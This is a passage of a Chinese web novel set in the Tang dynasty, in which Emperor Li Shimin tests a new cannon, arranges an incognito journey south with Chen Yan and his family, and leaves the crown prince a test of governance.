李泰在旁边听得心惊肉跳,满眼写着抗拒。 皇位、朝堂什么的还是算了吧。 他早就下定决心了,下半辈子就当个逍遥王爷,把余生的时间都投入到科学里。 才不要当什么皇帝。 “陛下,您别闹了。”陈衍哭笑不得,“这个笑话真的不好笑,李靖都马上要领兵出征了,结果您告诉我,您要下淮南,您这不是拿我们当突厥人整吗?” “没有这样干的嗷。” 李泰连连点头:“是啊父皇,占城稻的第一次收成您不是已经清楚了吗?远远超过了我们大唐以前的其他粮食。” “如果您想清楚,要不我跟子安兄走一趟,或者让太子跟我们走一趟,我们替您去看看,您怎么能走这么长时间呢?” “朕已经跟李靖说过了。”李世民望着车窗外,此时的马车刚刚驶出长安城。 “朕做这个决定,不是一时兴起,其实占城稻第一次成熟,朕就想去看看呢。” “因为那段时间,洛阳爆发了水患,当地粮价不正常的上涨,呵呵......后来李淳风和袁天罡带回了消息,朕一直没跟你们说过。” “这件事其实很简单,就是当地粮商看到了粮价一直下降,若继续下去,他们手中囤积的粮食就要加速贬值了。” “所以他们趁着洛阳爆发水患的时候,用较为隐秘的手段,贿赂了一批洛阳官员,让他们迟一点将消息上奏朝堂。” “毕竟,洛阳出现水患其实并不怎么罕见,隔一年、两年就会出现。” “洛阳一部分官员,在利益的诱惑下答应了下来,这就给了粮商们炒高粮价的机会。” 李世民头也不回,淡淡道:“手段不怎么高明,只是机会抓得很准,加上当地的地理位置特殊,造就了这一切。” “你的钱庄去到那边之后,粮价瞬间就被打了下去。” “说实在的,这种事,在大唐之内算不上多罕见,无非就是官商勾结,这种事朕已经习惯了。” “只是......” 说着,李世民忽然顿了顿。 陈衍和李泰马上清楚,真正的重点要来了。 关于洛阳水患的事,他们自然清楚。 就跟李世民说的一样,官商勾结,真的算不得什么,这种事实在不算罕见。 唯一的问题是,洛阳水患闹得比较大罢了。 李世民声音平缓,听不出什么情绪起伏:“朕时常会想起你从前说过的一句话。” “叫做山高皇帝远!” “子安啊,朕已经很久没去这天下好好看过,看过朕的子民到底过的是什么日子,有什么困难、需要什么帮助了。” “顺便也看看......下面的官员到底是什么样的,是不是真如他们奏折上说的那么漂亮。” “......那您为什么一定要选这个时间段呢?”陈衍很不理解,“如果您想出去,我们大可以等一个月,等李靖带兵出去了,我们有大把时间出去啊。” “那时,就算您想留三个月,四个月又能如何?” “只要咱们在年底之前回来,一切都好说。” “另外,您有没有想过,您走了,我也走了,太子就算能监国,多少还是会产生影响的。” “朕都考虑过了。”李世民微微颔首,“朕也清楚你在担心什么。” “但朕还是那句话,关于此事,朕是经过深思熟虑的,从四月份就开始在想了。” “关于李靖,朕已经做出了安排,包括秦琼、程咬金、尉迟恭他们,你没发现他们已经很久没冒头了吗?” “观音婢对此也是支持的。” 陈衍摇摇头:“那请容我拒绝,我坚持自己的意见,等过一个月再出发。” “你应该明白,李靖带领的大军只是个幌子,真正决定战役的,是秦琼和程咬金他们带领的军队。” “我拒绝!” “......朕已经提前把所有事情安排好了,你耳聋了吗?” “对,我耳聋,我还是拒绝!” “......朕打算带上丽质、高阳,哦,还有永宁小郡主。” 陈衍:“......” “陛下,不带这么玩的。” “......” 第671章 读万卷书,不如行万里路 郊外,一处荒无人烟的荒山前。 李泰命人抬来了所谓的神威大炮,摆放在远处。 紧接着,李泰挥退了科研院的人,自己屁颠屁颠地跑了过去,拿出了火折子。 陈衍和李世民站在远处,位于一个安全的位置静静看着。 当李泰点燃引线,滋滋作响的声音响起,引线在燃烧完的那一刻,炮口发出了惊天动地的嘶吼。 “砰!” 即便是早有心理准备,李世民依然被吓到了,在还没反应过来的时候,远处的荒山‘轰’的一下炸开,如地龙翻身般,地动山摇,硝烟弥漫。 “嘶~” 望着神威大炮造成的动静,饶是以李世民早就有过设想,依然被那巨大的威力给吓到了。 “怎么样?陛下?” 陈衍对这个威力倒是不怎么意外,毕竟李泰确实很给力,做出的东西不差。 另外就是,这样的威力,还不足以让他震惊。 李世民缓了好一会儿,眼睛死死盯着被炮弹轰出了一个巨大的坑洞的地方,沉默良久,才惊叹道: “倘若这东西不是你跟青雀做出来的,朕恐怕再也睡不着觉了。” 陈衍笑了笑:“陛下,科研院是你们皇家的科研院,今后的研究费用,可能就需要您自己的内帑承担了。” “不过相应的,无论科研院干什么,制作出什么东西,您将会是第一知情人,同时,今后科研院的各种技术,您都可以随意翻阅。” “包括科研院的人才,我们都在专心培养他们忠于您、忠于皇室的思想。” 李世民愣了愣,低笑道:“有你在,朕总是放心的,唯一的问题是,这里今后你们要自己做好保密的措施。” “朕不会过多插手你们的事,唯一的要求,就是有什么想法、做出了什么、告诉朕一声就好了。” 陈衍在表明态度,李世民亦是。 长久以来的接触,李世民很清楚陈衍是一个怎样的人。 如果他想反,真的有太多太多机会了。 也就是因为陈衍没有那个心思,对权力不屑一顾,并毫不犹豫地把下到细盐、上到炸药、大炮都交给了他。 又用无数利益彻底绑死。 这才让李世民对陈衍的信任从未产生过动摇。 “父皇!” 李泰激动地跑回来,手里还握着火折子:“儿臣这神威大炮怎么样?没让您失望吧?” “何止是没失望。”李世民感慨:“青雀,你跟子安真的给了朕一个大惊喜啊!” “有了炸药和神威大炮,朕相信,今年年底,势必能踏平吐谷浑,令我大唐威望再度攀升。” 陈衍在一旁不合时宜道:“既然那么想踏平吐谷浑,为什么不能等一个月再出去?” 李世民:“......” “朕现在很高兴,你别逼朕抽你。” “本来就是嘛......”陈衍小声哔哔,实在搞不懂李世民到底什么心理。 就为了看一个占城稻的收成? 那出征的事,难道不比这个重要? 殊不知,李世民对讨伐吐谷浑根本没有丝毫担心,特别是在见到神威大炮之后,更是没有一点点的担忧。 可以说,踏平吐谷浑只是时间问题罢了。 这不是他轻敌,而是天时地利人和,带给了他足以碾碎吐谷浑的绝对信心。 李世民不是不在乎。 可就像他说的那样,出征一事,早在年初便已经定了下来。 这些日子里,李世民和李靖早已做好了万全的准备,他在不再毫无影响。 对比之下,今年可能是他今后很久唯一一次出去的机会了。 他们都很清楚,今年他会前往泰山封禅、吐谷浑会被踏平,累进税制即将登上舞台。 从今年之后,李世民可能再也没有了消停日子。 所以他想趁着这个机会好好出去看看。 这不是一时兴起,而是早有准备。 “陛下,我坚持我的想法,您还是好好考虑考虑吧。”陈衍叹气道。 李世民瞥了他一眼:“朕说了,朕会带上自己几个女儿,她们从小生活在宫里,从前没有机会去看看我大唐的大好江山。” “所以朕想带她们出去看看,你不愿意去,那就不去,朕又没强迫你。” 陈衍:“......” 瞧瞧,瞧瞧。 这特么说的是人话吗? 你特么把我媳妇孩子全给带走了,然后你还说你没有逼我去? 你还不如逼一下呢。 陈衍无奈点点头:“那您打算怎么安排?” “又怎么跟文武百官解释?” “我又该用什么理由跟您出去?” “解释什么?”李世民背着手,态度强硬道:“朕会说朕身体抱恙,需要在宫里休养,由你这位小神医亲自看护。” “太子监国,杜如晦兼户部尚书,就这么简单!” 陈衍:“......” 李泰:“......” 还真是......简单粗暴的理由哈。 “父皇......” 李泰干咳一声:“儿臣辛苦了这么久,造炸药的时候,险些跟子安兄被炸药给炸死,造神威大炮也遇到过很多危险。” “您看......您是不是该给儿臣一些赏赐?” 李世民下意识就想答应下来,可转念不知想到了什么,面露古怪,看着自己这个一脸期待的儿子。 “要不......朕带你一个?” “那太多谢父皇了。”李泰大喜,笑得脸上的肥肉都一颤一颤的。 他始终记得一句话,叫做读万卷书,不如行万里路。 李泰确实辛苦了很久,身体和脑子都已经很疲惫了,他也想出去看看。 特别是一路上还有陈衍在。 这简直是最好的赏赐啊! 李世民又看了眼远处的大坑,拍了拍陈衍的肩膀:“好了,你准备准备吧,我们会在初五出发,朕已经做好准备了。” “这几日,你就不用上朝了,朕明天就会宣布这个消息,让杜如晦暂时兼任你的职位。” “回家好好准备准备,然后你再想想还需要带什么人,不过人数不要太多了,免得目标太大。” 听到这句话,陈衍就知道这件事彻底没有了回旋的余地,只好点头答应下来。 “是,陛下。” “......” 第672章 高阳开心了 当陈衍和李泰回到家里,时间已经到了晚上。 李丽质他们正等着陈衍和李泰吃饭。 两人一回来,一屁股坐下来,李泰二话不说就开造。 只有陈衍没什么胃口,一副思考的模样。 “夫君,你这是怎么了?” 李丽质见状不禁询问道:“是跟父皇聊了什么吗?” 陈衍长叹一声:“你们这两天收拾一下行李,初五的时候跟我出去一趟。” “记得多带点,咱们可能要出去好几个月。” 众人:??? 他的话出口,原本漫不经心吃饭的高阳都愣住了,李丽质忍不住蹙起了绣眉:“出去好几个月?” “可......你如今是户部尚书,别说离开好几个月了,就是离开十天半个月恐怕都不行。” “我们如何能走?” 高阳都不淡定了:“去哪里?用得着几个月?” “父皇答应你了吗?” “还你父皇答应。”陈衍无语道:“这就是你父皇提出来的,我说不去,结果他说要带你们走,还要把小岁安给带上,我能不去吗?” 正被青儿抱着吃饭饭的小岁安茫然地抬起头。 小家伙已经一岁多了,早就明白了自己的名字。 两女听到这句话,彻底不淡定了,高阳竖眉道:“到底怎么了?” “父皇又整什么幺蛾子,好端端的出去干什么?” “你也就罢了,离开一段时间,大不了让人暂代一下职位,可他身为一国之主,怎么能离开这么久?” 李丽质有些生气:“所以这一切都是父皇的意思?他又想到了什么?” “还用我们逼你一起去?” 李泰这时轻咳一声,对魏王妃说:“语儿啊,我要跟子安兄他们离开,我们离开这段时间,家里就靠你操持了哈。” 原本安静看戏的魏王妃闻言不禁瞪大双眼:“你也要走?” 李泰乐道:“对呀,我也要走,跟父皇以及子安兄一起离开,好好看看这大好河山。” “你别怪我不带上你哈,毕竟咱孩子还小,家里需要有人操持。” 魏王妃:“......” 这是带不带,操不操持的问题吗? 你们怎么能都走了呢? “我......”魏王妃急了,却又不知道该说什么。 毕竟李泰开心的样子她看在眼里,显然是自己愿意去的。 所以,魏王妃只好看向了李丽质和高阳。 两人幽幽盯着陈衍,也不说话。 陈衍揉揉太阳穴:“其实就是下淮南,名义上是去看看占城稻的收成怎么样,实则就是微服私访,去沿路的民间看看,顺便游玩一番。” “陛下倒也不是用你们逼我,他知道我一直想带你们出去游玩,只是被户部尚书的职位困住了。” “所以才带上你们。” 两人听到这话,心情缓和了许多。 李丽质沉吟道:“母后知道这件事吗?父皇离开,难道是让太子监国?” “另外,父皇打算怎么说服一众大臣,又顺便把你给带上?” 陈衍嘴角扯了扯:“他说他身体抱恙,需要一段时间休养,让我全程看护,我的职位暂时由杜如晦兼任。” “......” 李丽质和高阳只觉得无语。 这理由......是认真的吗? 靠谱吗? 能说服一众大臣吗? 李泰笑呵呵道:“父皇压根不在意大臣们的想法,只要给出一个面子上能过得去的理由就好了。” “如果不是父皇要带上子安兄,搞不好会直接说想看看太子的能力,然后让他监国一段时间。” “行了行了。”陈衍摆摆手,示意大家先吃饭。 然后自顾自拿起筷子,道:“反正你们这两天抓紧收拾一下要用的东西吧,你们父皇啊,这件事已经想了很久了。” “皇后殿下都已经同意了,可以说已成定局,我们讨论这些没有用。” “往好的方向想想,起码我们能出去游玩,对吧?” “这不是你们一直以来的心愿吗?” “到时候我们把兕子也带上,一家人整整齐齐的,好好出去走走,玩玩,也挺好的。” 李丽质和高阳都没再开口了。 今天这顿饭,吃得多少有些安静。 主要是,陈衍带来的消息有些太过突然,让两人一时间都没什么准备。 怎么说呢。 两人都很清楚,自从陈衍回到长安之后,就比较忙了,而且随着各种事情的发生,陈衍只会更忙。 如果想腾出空来,可能要两三年之后了。 她们也一直期待着。 反正两三年又不久,到时候正好小岁安也长大了许多,到时候出去玩正好。 结果现在陈衍突然告诉她们,要离开长安,出去很长一段时间。 而且还是跟李世民一起。 就很突然。 这一顿饭,就这么在安静中度过了。 吃完饭,休息了一下,大家洗漱完,就各自回了屋子里。 如今小岁安一岁多,已经跟高阳分开睡了,是由青儿和香岚轮流照顾着。 等回了房内,躺在床上要歇息的时候,高阳终于忍不住兴奋了起来,用手肘捅了捅陈衍的腰:“哎,咱们真的要出去了?” “离开长安?” 陈衍侧头,笑道:“你如果不想,那你跟魏王妃留下来看家。” “谁要看家!”高阳没好气地给了他一巴掌:“你当我是狗吗?” “算了,咱们都要带些什么东西呀?听说那边的天气很好,咱们带什么衣服合适?” “钱呢?铜钱太麻烦了,咱们要不带金银吧?我听说到了外面,样样都要花钱的,还有还有......” 高阳说着说着,就掰着手指头数了起来。 能看得出来,她真的挺高兴的。 而另一边,李丽质迟疑道:“夫君,出去玩倒没什么问题,可我听说外面很乱,一旦出了长安,咱们应该要伪装身份。” “届时,安全问题怎么办?” 她到现在还记得上次回长安的时候,被马匪围住,当时她真的吓到了。 “你父皇肯定会做好这方面准备的。”陈衍安慰道,“他可是皇帝,比我们怕死多了。” “再说了,无旌骑今年出发倭国的时候,只有牛叔去了,薛礼可还留在长安呢。” “我们把他带上,安全方面就不用担心了。” “......” 第673章 什么?李世民真中毒了? 隔天清晨。 有了昨天李世民的发话,陈衍没有去上朝,而是跟越王李泰并排,悠哉悠哉地躺在后院。 两人躺椅中间,还摆放着一张小茶桌,两人晒着清晨的太阳,好不悠闲。 李泰抿了口茶,放下茶杯,望着池塘里悠然游动的鱼儿,笑着开口:“子安兄,我怎么觉得,你好像在等什么人呢?” “为什么这么觉得?”陈衍淡淡问。 “这还用说吗?”李泰歪了歪脑袋,用下巴点了点不远处凉亭内桌子上摆放的热茶,青儿更是在一旁等待着。 陈衍动了动身子,换了个舒服的姿势躺着,眯着眼,懒洋洋道:“你认为呢?” 李泰笑呵呵道:“我认为啊......今日怕是有不少人要找上门。” “我算算哈......”他掰着手指头,“首先,你们户部的人肯定会来,大概率来的是杜构。” “一是户部的人太多,不好全部过来,派一个代表过来问清楚情况是最好的。” “再者,杜构背后还是杜如晦,他可是要兼任你的职位,杜构过来不仅能代表户部,也能代表杜如晦。” “当然,这只是理想情况下,倘若他们因为陛下的消息,心情急切之下,全部找过来也不是没有可能。” “魏征这些人......或许不会过来,他们可能都清楚一些内幕。” “父皇要出去,搞不好还提前知会过他们,否则的话,魏征搞不好又得怼我父皇。” “除了这些之外,还有工部的康崇,你们两部最近联合搞的那个细盐,才步入正轨,来一趟不奇怪。” “最后......”李泰说到这里,顿了顿,挑眉道:“最后当然是要监国的太子啦!” 陈衍摇摇头:“不止。” 不止? 李泰一怔,难道还有其他人? “安心躺着吧。”陈衍淡淡道:“反正该来的都会来,待会你就知道了。” “索幸你父皇今天没让我上朝,否则的话,我在朝堂上的时候就被各种问,然后下朝就被拦住了。” “如今倒好,咱们只需躺在家里,然后等过两天出发就好了。” 李泰深以为然,随即提起另外一件事:“对了,子安兄,咱们是打算走什么路线的?” “从哪里出发,然后途经哪里?” “我怎么知道?”陈衍双手一摊:“我们都是跟着你父皇走的,你问我,我问谁去?” “再说了,反正你父皇不是说早已做好了准备吗?路线肯定早就规划好了。” “别想那么多,咱们跟着就好了,路上该吃吃、该喝喝、该玩玩。” “我早说了,咱们就当出去游玩。” 李泰:“行吧,你们决定就好,我跟着你们玩......” “子安兄!”李泰话还没说完,后院入口便传来一道呼喊,是杜构的声音。 陈衍和李泰对视一眼,眼里都有些惊讶。 竟然来得这么快? 随后,两人慢悠悠地起身,还没等陈衍招呼杜构过去,他就急匆匆地跑过来,焦急道: “子安兄......什么情况啊?”杜构万般话语想要说出口,可当见到陈衍的那一刻,又不知道怎么说了。 他表情一言难尽地说:“这又是要闹哪样?陛下怎么好端端的,突然要因病休养了?” 陈衍撇撇嘴:“那你问陛下啊,你问我干什么?” “我只是一个听命行事的,我能咋办?” “不是......”杜构一时语塞,眼看陈衍走了,又连忙跟上去。 “子安兄,这不是正式场合,是私底下吧?” 陈衍来到凉亭内坐下,然后示意青儿给杜构倒茶,回道:“当然,这是自己家里,当然是私底下。” “那我有话就直说了。”杜构压低声音道:“你实话告诉我,你跟陛下是不是又在打什么算盘?” 说完,他似乎意识到自己的话有些不妥,而且自己情绪太急了,又解释道:“当然,如果涉及到一些不方便我知道的事,你不用回答。” “我就是搞不明白,为什么在这个时候,陛下好端端要进行休养?” “陛下真的中毒了?” 中毒? 陈衍听到这话,微微一愣:“陛下跟你们说了什么?” 杜构疑惑道:“你不知道吗?” “陛下说方士是骗子,他吃了有毒的仙丹,需要慢慢调理一下身体,由你来看护,然后你的职位是我父亲暂时兼任。” 陈衍:“......” 李泰:“......” 好嘛。 该说不说,从某种方面上来讲,李世民还真没扯犊子。 人家没吃有毒的仙丹吗? 吃了啊! 人家没中毒吗? 中了啊! 人家身体需要慢慢调养吗? 确实要啊! 一点都不开玩笑噢! 陈衍哭笑不得:“杜兄,陛下说的是真的,那群方士真的是骗子,炼出来的哪里是什么仙丹,说是毒丹都不为过。” “记得始皇嬴政吧?他就是吃了仙丹,所以才早早暴毙。” “陛下没吃那么多,但也需要很长一段时间来调养身体,否则后患无穷。” 听到这些话,杜构顿时就懵了。 不是? 玩真的啊? 真中毒了? 杜构眨眨眼,反应过来之后,豁然站起身,连忙四处看了看,发现在场除了青儿,都是自己人。 就连青儿都是被陈家自小收养的孤儿,可以信任。 他这才松了口气。 然后,杜构重新坐下来,难以置信道:“所以......陛下不是找借口?而是真的吃了有毒的仙丹?” 陈衍默默点点头。 关于他们出去这件事,越少人知道越好。 杜构自然是可以相信,但知道的人越多,消息泄露的可能就越大。 所以陈衍没打算告诉杜构他们。 杜构从陈衍这里得知李世民是真中毒,不是开玩笑,顿时不说话了。 他沉默了好半晌,站起身:“子安兄,你今天就当我没来过,我还有事,先走了。” 陈衍淡淡道:“户部就按照我的规划走就好了,我离开这段时间,按部就班地发展,至于从佛门收缴上来的那片土地,先不着急安排。” 杜构答应一声,然后告辞离开了。 陈衍望着桌上属于杜构一口没动的茶,摇头失笑:“青雀兄,陛下还真是......” 他说着,似乎找不到什么合适的词语来形容。 李泰秒懂,小声道:“幼稚。” 两人对视一眼,随即闭口不言。 “......” 第674章 考验 陈衍和李泰没有着急回去继续躺着,坐在凉亭内闲聊了起来。 因为他们知道,今天前来的,绝对不止杜构一个人。 真正重要的人物还没来呢。 果不其然,在杜构离开不久之后,李承乾便急匆匆赶过来,一见到两人,顿时拍着手说:“不是,你们要干什么呀?” “别人不清楚,我难道还不清楚吗?” “父皇是中毒了不假,可问题是,这玩意根本没法治啊,而且父皇扛了这么久,加上有你的调养,情况明显好了很多。” “怎么好端端要休养一段时间,还让我监国......” “这不是好事吗?”陈衍打断了李承乾的话,后者一下子愣住了。 李承乾缓了一会儿,干咳一声,走过来坐下。 “子安兄......你这话说的,这怎么能是好事呢?我担心父皇啊。” 陈衍和李泰当即乐了。 他们还能不清楚李承乾吗? 别看来的时候气势汹汹的,指不定心里多高兴呢。 毕竟这可不是监国一天两天,而是足足一两个月,这期间,他能得到的好处实在太多了。 加上李承乾清楚李世民根本没事,要不是得装装样子,在朝堂的时候,他嘴角就快压不住了。 现在一见面,能保持淡定就已经是做足了心理建设。 陈衍似笑非笑道:“太子殿下,如果你真的担心陛下,不如跟着一起去治病好了,反正你也中过毒,而且那种毒根本没法解,不如趁着这段时间好好调养一下。” “至于大唐......那就让其他皇子来监国嘛。” 李承乾板着脸道:“子安兄,这我可就要说你两句了。” “你离开了,父皇也离开了,国家一下子失去了父皇这位主心骨,还有你这位擎天柱,如果一个弄不好,产生什么动荡怎么办?” “越到这种时候,我就越不能离开!” “再怎么说,我也是这大唐的太子,大唐需要我、父皇需要我,我自当义不容辞。” “至于身上的毒素......”李承乾振振有词道:“我个人的身体情况,怎么能跟大唐的社稷相比?” 陈衍鄙夷道:“装,你就接着装吧!” “我敢打赌,如果不是因为还有青儿在旁边,你现在估计已经笑出了猪叫声!” 李泰不置可否:“没那么小声。” 李承乾:“.......” 青儿迟疑道:“太子殿下、魏王殿下、少爷,要不奴婢还是先下去吧。” 她感觉接下来的东西很危险,不是自己能听的了。 陈衍微微颔首:“行,你先离开吧,去照看一下小岁安。” 青儿赶忙躬身退下。 她离开之后,在场三人面面相觑,却没有一人开口。 陈衍和李泰幽幽盯着李承乾,一言不发。 后者沉默了良久,嘴角止不住地抽动。 最终,李承乾实在没忍住,一秒破功,嘎嘎乐了起来。 “哈哈哈哈,子安兄,青雀,你们能不能不要用这样的眼神看着我?” “有点不礼貌了噢!” 陈衍和李泰同时轻嗤一声。 都认识这么多年了。 谁也别跟谁装。 “呃......咳咳。”李承乾尴尬地咳嗽两声,“总之,我不管你们想干什么,我不去过问,你们想干什么就干什么。” “我就问你们一个问题。” “你们跟父皇要做的事,跟我扯不上什么关系,与我无关吧?” 陈衍知道他在担心什么,解释道:“你自己监好国就行了,其他的事你不用管。” “这件事其实也没什么好瞒着你的,就是你父皇想出去微服私访。” “只是微得有点远罢了。” 李承乾当即沉默了。 良久,他问:“多远?” “淮南。” 李承乾:“......” 那确实够远哈。 这特么都从北方干到南方了。 “你们心可真够大的。”李承乾吐槽。 陈衍耸耸肩:“没办法,这一切都是你父皇的主意,我不愿意去,他就要把我两个媳妇和唯一一个孩子带走,我能怎么办?” “算了,不说这个了。” “承乾兄。”陈衍微微俯身,压低声音道:“等我们离开以后,你别想着只求安稳,胆子放大一点,该提拔的就提拔,只要不是太过分,陛下会睁一只眼闭一只眼的。” “还有,我昨天晚上琢磨了一下,你父皇这个时机选得有些太巧妙了。” “关税的落实近在眼前,我本来都跟陛下说好了这两天就会提出来。” “结果突然告诉我,要离开。” “出征吐谷浑就更不用说了,估计下月初就得出发,等到了那边,大雪就要落下了。” “这一桩桩,一件件,都落在了你头上。” “但凡你父皇愿意等一个月,都落不到你头上,偏偏他不愿意等。” 陈衍意味深长道:“你品吧,你细品!” 李泰听到这话,淡淡笑了笑,没插话,自顾自喝着茶。 李承乾闻言先是皱了皱眉,随即舒展开,惊疑不定:“你的意思是......父皇是故意把这些都留给我的?” “那就要看你自己怎么想了。”陈衍给他倒了杯热茶,开口说:“首先你要明白,这两件事背后的深层次含义,以及需要面对的困难。” “我问你,关税最先是由谁提出来?” “当然是你。”李承乾毫不犹豫道。 “我是谁?” “你?当然是陈......你是户部尚书!” 陈衍见他明白,继续问:“那如果身为户部尚书的我,关税的最大支持者,离开了。” “连同陛下这个能一锤定音的人都离开了,而恰巧这个时候,杜如晦、魏征、房玄龄等人都不开口呢?” 一瞬间,李承乾彻底明白了陈衍的意思,喃喃自语道:“如果你一旦离开,杜如晦几位宰相全部对此事保持中立,那么关税的推行势必会变得更加困难......” “我明白了,包括出征吐谷浑也是。” “这是一个......奖罚并存的......考验?” “.......” 第675章 找一个故人 彻底明白了李世民的深意后,李承乾既高兴,也彷徨。 高兴是因为李世民似乎对他愈发看重,真正寄予厚望。 彷徨是因为,李承乾担心自己做不好,弄砸了陈衍和李世民早就准备好的一切。 如果他真的没做好,今后不说没脸面对李世民,他甚至连陈衍都无法面对。 毕竟为了这些事,陈衍和李世民铺垫了多久,准备了多久,他都是清楚的。 “子安兄......” 李承乾欲言又止。 陈衍轻轻摆手:“回去吧,我已经告诉过你了,等我们走后,不要想着维持现状,你就把这次当成真正的上位,把自己当成皇帝。” “你站在那个位置想一下,一个真正的皇帝,在面对这种情况时该怎么做!” “胆子一定要大,别怂!” 说着,他认真盯着李承乾:“如果你没怂,即使事与愿违,真的没有做好,我们亦不会责怪你什么。” “倘若因为你自己的性格原因,争辩不过推行的阻力......承乾兄,你就别怪我丑话说在前头了。” “我明白。”李承乾凝重地点点头。 “好。”陈衍颔首,“既然明白了,你就应该考虑一下,你父皇这个时候会不会有事找你,你留在我这里是否合适了。” 李承乾猛地惊醒,一瞬间都没有迟疑,立刻起身。 “子安兄,青雀,我还有事,先走了!” 说着,他急忙想往外走,却不知想到了什么,脚步停了一下,整理好自己的衣服,挺直胸膛,不急不缓地离开了。 见状,陈衍和李泰相视一笑。 李泰啧啧称奇道:“怎么说呢?我这个皇兄啊,骨子里肯定是不怂的,只是从前真的压抑太久了。” “加上现在依然还年轻,很多事情考虑得并不全面,急切之下,甚至有些......不太成熟。” “不过他运气很好,遇上了你。” 说真的,李泰有时候真莫名感觉李承乾运气好。 要不是有陈衍的出现,李承乾指不定还过得什么日子呢。 他不得不承认,自家父皇做皇帝肯定是合格的,只是在做父亲这方面,欠缺了很多东西。 这是李泰放下对皇位的执念,脱离了那个旋涡之后,站在旁观者的角度,才看清的问题。 如今想起来,他依然感到庆幸。 因为李世民对他的宠爱,单纯是没对他指望什么罢了。 现在想想,他自己运气好像也挺好的。 同样是遇上了陈衍,不仅找到了自己喜欢做的事,有了对他来说更合适的追求,还不用整天操心那些乱七八糟的事。 日子简直不要太美妙。 “......” 陈衍认真道:“我一直认为,承乾兄绝对不怂,他骨子里就透露着一股狠劲!” “正所谓龙生龙、凤生凤,老鼠的儿子生来就会打洞。” “承乾兄可是陛下与皇后殿下的孩子,怎么可能软弱?” “有道理。”李泰眉开眼笑。 他也是李世民和长孙皇后的孩子。 接下来,陈衍一早上应付了不少人,包括康崇、长孙无忌。 反正不管来的是谁,陈衍对他们都是跟杜构差不多的说法。 然后这些人就恍惚地走了。 到了中午,吃了午饭之后,远在渭南县,跟着秦琼的薛礼被叫了回来。 “大人,您找属下?” 现在的薛礼愈发精神,从前还有些许的浮躁,此时早已消散一空。 陈衍示意他坐下,然后轻声询问道:“代国公让我转交给你的那本兵书,你看得怎么样了?” 提起这件事,薛礼明显很高兴:“回大人,那本兵书太过精深,很多东西令属下茅塞顿开。” “还有,代国公大人似乎是怕属下看不明白,很多地方都给了详细的注解,里面包括了代国公自己打仗时的各种详细情况、布局,以及该怎么打、能怎么打。” “最让属下意外的是,代国公的兵书上,还有对历史上各种值得钻研战役的分析。” “只是......”薛礼说到这里,不太好意思地挠挠头:“从前属下其实没读过多少书,有一些字还不认识,经常要拿着字请教别人。” 陈衍一怔,顿时乐了:“这倒是我没想到的,不过这确实是个问题,一个合格的将领,不应该只会打仗而已,书,同样也要读。” “这样吧,过两天你要跟我们出去一趟,等明年,我给你请个先生,教你读读书。” “不要求你饱读经史子集,起码要开拓自己的眼界,能识字明理就好。” “你看怎么样?” “全凭大人安排。”薛礼郑重应下来。 他如今能有的一切都是陈衍给的,他相信陈衍绝对不会害他。 更何况,薛礼其实不懂什么大道理。 但父母从小就教过他,做人,一定要知恩图报,若是忘恩负义,那跟畜生有什么区别? 随后,他想起了陈衍方才要出去,疑惑道:“大人,咱们要去哪里?” 陈衍咂咂嘴:“目的地应该是淮南的扬州,不过一路上要去多少地方,我也不清楚。” “这是陛下想要微服私访,安全是一个问题,所以我想把你带上。” “顺便......”陈衍似乎想到了什么,平静道:“加深一下你在陛下那里的印象,今后大唐绝对不缺仗打,我希望有一天,我能称呼你为薛将军!” 薛礼先被陈衍说出来的消息震惊了,反应过来之后,急忙拍着胸脯道: “大人请放心,只要我还能动弹,绝对不让任何人碰陛下与您一根汗毛!” 陈衍笑着摆手:“不用这样,陛下肯定也会带人的,安全方面他肯定会做好,你跟好我们就行了。” “带上你,只是为了应对那万一出现的可能罢了。” “行了,你先回去准备一下,跟家人说一声吧,我还要去找个故人。” “.......” 第676章 陈衍:你们算什么呢? 长安一座略显偏僻的道观内,袁天罡和李淳风相对而坐,久久无言。 良久,李淳风缓缓开口:“袁兄,不知为何,我突然有种不祥的预感。” 袁天罡沉默了:“不瞒你说,我同样有这样的预感。” 两人面面相觑,再度相顾无言。 现在他们两个人。 说忙倒也谈不上,没什么事的时候,还是挺空闲的,因为不良人的特殊性,他们其实不用操心太多。 所以他们还能在这里喝茶。 只不过,不忙归不忙,该操心的依然要操心。 比如他们现在待的这座道观,几乎快变成不良人的隐秘聚集地了。 就很糟心。 李淳风沉吟道:“你说,会不会是陈先生又在惦记我们什么了?” “不能......吧?”袁天罡迟疑了。 他同样很想说这句话。 但说不通啊。 如今陈衍他们多忙啊,到处都是事,出兵吐谷浑近在眼前,很多铺垫已经快要到了收线的时候。 那些事,跟他们一点关系都没有啊。 可一想起从前陈衍的骚操作,让李淳风去找传国玉玺,让他们去带兵,现在又让他们管不良人。 都把他们两人玩出了花儿! 现在袁天罡属实不怎么敢肯定了。 “要不......算一卦?”袁天罡这般说道。 他指的算卦不是算陈衍,而是算他们自己。 “好!” 李淳风认真答应下来。 决定好之后,两人当即不再犹豫,拿出龟甲,瞬间便起卦了。 只是当袁天罡想要倒出铜钱的时候,外面突然传来一声惊喜的呼喊。 “哈哈哈,太史令,国师,许久不见,甚是想念啊!” 袁天罡的手顿时一抖,三枚铜钱不规律地飞出,一枚掉在桌面,另外两枚掉在了地面。 李淳风和袁天罡瞬间沉默了。 这时,陈衍笑眯眯地走进来,看着两人坐在一起喝茶,高兴地打招呼:“不愧是太史和国师哈,似乎早就料到我要过来,甚至连茶都准备好了。” “太客气了,咱们谁跟谁呀?” 两人不语,只是幽幽地望着散落各地的三枚铜钱。 这卦......还用算吗? 陈衍一出,必是大凶! “二位为何不语?”陈衍自来熟地坐下,疑惑道。 李淳风心累地闭上眼。 你说我们为什么不语? 我们敢语吗? “唉~”袁天罡叹息道:“陈先生今日前来所为何事?” “也没什么大事。”陈衍咧着嘴说:“就是我想出去踏踏青,采采风,寻思着以前着实有些太麻烦你们二位了,所以想邀请你们一起。” “就这么简单?”李淳风不可置信道。 陈衍有这么好心? 专门带他们出去踏青? 他怎么那么不相信呢。 “你看看,你看看。” 陈衍故作不满:“信任呢?多年以来的信任呢?情义呢?相识这么久的情义呢?” “难道我在你们心目中,就那么不靠谱......” “好了!”李淳风抬手打断他,面无表情,“陈先生,你靠不靠谱,我相信你自己心里应该清楚。” “我就问你一句话,这次真的只是出去玩玩?” 陈衍耸耸肩:“那不然呢?” “我两个媳妇和闺女都带上了,还能有假?” 听到这句话,两人顿时放心了下来。 既然都带上了两位公主和小郡主,那肯定是出去玩无疑了。 陈衍总不能黑心到那种地步,拿自己的夫人和女儿来骗他们吧? 袁天罡顿时露出了笑容,不知道从哪里掏出了一个茶杯,给陈衍倒了杯热茶: “陈先生,你早说嘛。” 